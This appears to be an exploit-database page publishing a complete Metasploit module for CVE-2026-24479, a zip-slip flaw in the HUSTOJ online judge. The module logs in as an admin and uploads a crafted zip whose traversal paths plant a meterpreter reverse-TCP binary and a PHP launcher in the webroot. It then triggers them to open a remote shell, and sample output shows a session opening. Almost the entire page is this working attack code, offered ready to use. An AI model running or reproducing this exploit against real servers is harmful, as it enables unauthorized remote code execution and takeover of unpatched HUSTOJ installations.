Skip to main content

HUSTOJ Zip-Slip v26.01.24 – RCE

Categories: WebApps

HUSTOJ Zip-Slip v26.01.24 – RCE

Proof of Concept (PoC)

poc.py
# Exploit Title: HUSTOJ Zip-Slip v26.01.24 -  RCE
# Date: 2026-02-14
# Exploit Author: Marshall Whittaker / oxagast
# Vendor Homepage: https://github.com/zhblue/hustoj
# Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
(LiveCD, or see above git repo)
# Version: Before v26.01.24
# Tested on: Ubuntu
# CVE:  CVE-2026-24479



# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
#  Patch:
#        $file_name = $path.zip_entry_name($dir_resource);
#        $file_name=str_replace('../', '', $file_name);
#        $file_path = substr($file_name,0,strrpos($file_name, "/"));
#
# msf exploit(local/test/hustoj_problem_import_rce) > exploit
# [*] Started reverse TCP handler on 10.0.1.35:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable.
# [+] Payload generated!
# [*] Random payload tag is: 886b0 ...
# [+] Zip file generated!
# [+] Connected to the target webserver!
# [+] Logged in successfully!
# [*] Checking if this account has administrative privileges...
# [+] This is an admin account!
# [*] Uploading the payload...
# [+] Accessed the problem import page!
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
# [*] Cleaning up the payload caller and shell files...
# [+] Boom!! Have fun!
#
# meterpreter >
#
#
require 'msf/core'
require 'nokogiri'
require 'digest/md5'

# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Authenticated admin can upload crafted zip file for RCE',
                      'Description' => <<~DESC,
                        A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
                        using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
                        webroot, where they can extract a PHP file containing a shell to get full RCE in the
                        context of the webserver.
                      DESC
                      'Author' => [
                        'Marshall Whittaker',
                        'LoTuS and friends',
                        'ling101w'
                      ],
                      'License' => MSF_LICENSE,
                      'ARCH' => [ARCH_X86],
                      'References' => [
                        ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' 
                         '/CVE-2026-24479/hustoj_problem_import_rce.rb'],
                        ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' 
                         '6899314b33101f'],
                        ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
                        ['CVE', '2026-24479'],
                        ['CWE', '22']
                      ],
                      'Platform' => 'linux',
                      'Targets' => [
                        [
                          'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
                          { 'Privileged' => false }
                        ]
                      ],
                      'DefaultOptions' => {
                        'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
                      },
                      'Notes' => {
                        'Stability' => [CRASH_SAFE],
                        'Reliability' => [REPEATABLE_SESSION],
                        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                      },
                      'DisclosureDate' => '2026-01-26',
                      'DefaultTarget' => 0))
    register_options(
      [
        Opt::RPORT(80),
        Opt::LPORT(4444),
        OptString.new('RHOST', [true, "The target machine's IP", '']),
        OptString.new('LHOST', [true, "This machine's IP", '']),
        OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
        OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
        OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
        OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
        OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
      ], self.class
    )
    register_advanced_options([
                                OptBool.new('HANDLER',
                                            [true, 'Start an exploit/multi/handler job to receive the connection',
                                             true])
                              ])
    deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
  end

  # Check if the target is likely vulnerable
  def check
    res = send_request_cgi(
      'uri' => '/include/reinfo.js',
      'method' => 'GET',
      'ctype' => 'application/javascript'
    )
    return Exploit::CheckCode::Unknown if res.nil?
    return Exploit::CheckCode::Appears if res.code != 200
    return Exploit::CheckCode::Detected if res.code == 200 &&
                                           res.body.include?('function escapeHtml(str) {')
    return Exploit::CheckCode::Vulnerable if res.code == 200 &&
                                             !res.body.include?('function escapeHtml(str) {')

    Exploit::CheckCode::Safe
  end

  # Authenticate as admin and return session cookies
  def login(user, pass)
    res = send_request_cgi(
      {
        'uri' => '/',
        'method' => 'GET',
        'keep_cookies' => true,
        'ctype' => 'text/html'
      }, 3
    )
    if res && res.code == 200
      print_good("Connected to the target webserver!         #{datastore['RHOST']}:#{datastore['RPORT']}")
    else
      fail_with(
        Failure::Unreachable,
        'Failed to connect to the target webserver!'
      )
    end
    cook = res.get_cookies
    send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    send_request_cgi(
      'uri' => '/loginpage.php',
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    res = send_request_cgi(
      'uri' => '/csrf.php',
      'cookies' => cook,
      'method' => 'GET',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    doc = Nokogiri::HTML(res.body)
    csrf = doc.css('input[name="csrf"]').first['value']
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.php',
      'cookies' => cook,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'user_id' => user,
        'password' => Digest::MD5.hexdigest(pass),
        'csrf' => csrf
      }
    )

    # Check if login was successful
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/modifypage.php',
      'cookies' => cook,
      'keep_cookies' => true
    )
    if res && res.code == 200 && res.body.include?('userinfo.php')
      stars = '*' * pass.length
      print_good("Logged in successfully!                    #{user}:#{stars}")
    else
      fail_with(
        Failure::BadConfig,
        'Failed to authenticate! Check credentials.'
      )
    end

    # Check if the account has admin privileges
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/menu2.php',
      'cookies' => cook,
      'keep_cookies' => true
    )
    if res && res.code == 200 && res.body.include?('problem_import.php')
      print_good('This is an admin account!                  res.body includes problem_import.php')
    else
      print_error('This does not appear to be an admin account! Attempting to continue,')
      print_error('   but the exploit may fail at the payload upload stage...')
    end
    cook
  end

  # Upload the malicious zip payload using the admin session
  def upload_payload(zip_dat, rand_tag, cook, dds)
    zip_size_kb = (zip_dat.length / 1024.0).round(2)
    print_status("Uploading the payload...                   #{zip_size_kb}kb")
    # Access the problem import page to get the postkey
    res = send_request_cgi(
      'method' => 'GET',
      'cookies' => cook,
      'uri' => '/admin/problem_import.php',
      'keep_cookies' => true,
      'ctype' => 'text/html'
    )
    if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
      print_good('Accessed the problem import page!          /admin/problem_import.php')
    else
      fail_with(
        Failure::UnexpectedReply,
        'Failed to access the problem import page!'
      )
    end
    doc = Nokogiri::HTML(res.body)
    postkey_input = doc.at_css('input[name="postkey"]')
    postkey = postkey_input ? postkey_input['value'] : nil
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
    form_boundary = "----WebKitFormBoundary#{rand_tag}"
    form_data = <<~FORMDATA
      --#{form_boundary}
      Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
      Content-Type: application/zip

      #{zip_dat}
      --#{form_boundary}
      Content-Disposition: form-data; name=postkey

      #{postkey}
      --#{form_boundary}--
    FORMDATA
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/admin/problem_import_qduoj.php',
      'cookies' => cook,
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form_boundary}",
      'data' => form_data
    )
    if res && res.code == 200
      print_good("Payload uploaded!                          #{datastore['dropfile']}.zip")
    else
      print_error('Failed to upload the payload, trying again for a different revision...')
      form_data = <<~FORMDATA
        --#{form_boundary}
        Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
        Content-Type: application/zip

        #{zip_dat}
        --#{form_boundary}
      FORMDATA
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => '/admin/problem_import_qduoj.php',
        'cookies' => cook,
        'keep_cookies' => true,
        'ctype' => "multipart/form-data; boundary=#{form_boundary}",
        'data' => form_data
      )
      if res && res.code == 200
        print_good("Payload uploaded!           #{datastore['dropfile']}.zip")
      else
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
      end
    end
    print_status("This is where the zipslip happens...       #{dds} (levels: #{datastore['traverse_limit']})")
  end

  # Trigger the uploaded PHP shell to execute the payload
  def trigger_sploit(rand_tag)
    print_status("Triggering the php script...               #{datastore['dropfile']}-#{rand_tag}.php")
    send_request_raw(
      {
        'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
        'ctype' => 'text/html',
        'method' => 'GET'
      },
      datastore['TRIGGER_WAIT']
    )
  end

  # Clean up dropped files after exploitation
  def cleanup
    super
    send_request_raw(
      {
        'uri' => '/cleanup-msf.php',
        'ctype' => 'text/html',
        'method' => 'GET'
      }
    )
    print_status('Cleaning up the payload caller and shell files...')
    print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
  end

  # Main exploit logic
  def exploit
    # Generate the payload ELF binary
    pay = framework.modules.create(datastore['payload'])
    pay.datastore['LHOST'] = datastore['LHOST']
    pay.datastore['RHOST'] = datastore['RHOST']
    pay.datastore['LPORT'] = datastore['LPORT']
    shell_gend = pay.generate_simple({ 'Format' => 'elf' })
    if shell_gend == ''
      fail_with(
        Failure::PayloadFailed,
        'Payload generation failed!  Try a different payload?'
      )
    end
    print_good("Payload generated!                         #{datastore['payload']}")

    # Generate a random tag for file uniqueness
    rand_tag = '%05x' % rand(0xfffff + 1)
    print_status("Random payload tag                         #{rand_tag}")

    # PHP script to call the ELF payload
    shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
    # PHP script to clean up dropped files
    cleanup_caller =   "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" 
                       "-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
    dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
    # Files to include in the malicious zip (zipslip paths for traversal)
    files = [
      { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
      { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
      { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
      { data: '{}', fname: 'problem_1010.json' },
      { data: '', fname: 'problem_1010/1.in' },
      { data: '', fname: 'problem_1010/1.out' }
    ]
    # Create the malicious zip archive
    zip_dat = Msf::Util::EXE.to_zip(files)
    fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
    print_good("Zip file generated!                        Files: #{files.length}")

    # Authenticate and upload the payload
    cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
    upload_payload(zip_dat, rand_tag, cookies, dds)
    # Trigger the PHP shell to execute the payload
    trigger_sploit(rand_tag)
  end
end

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...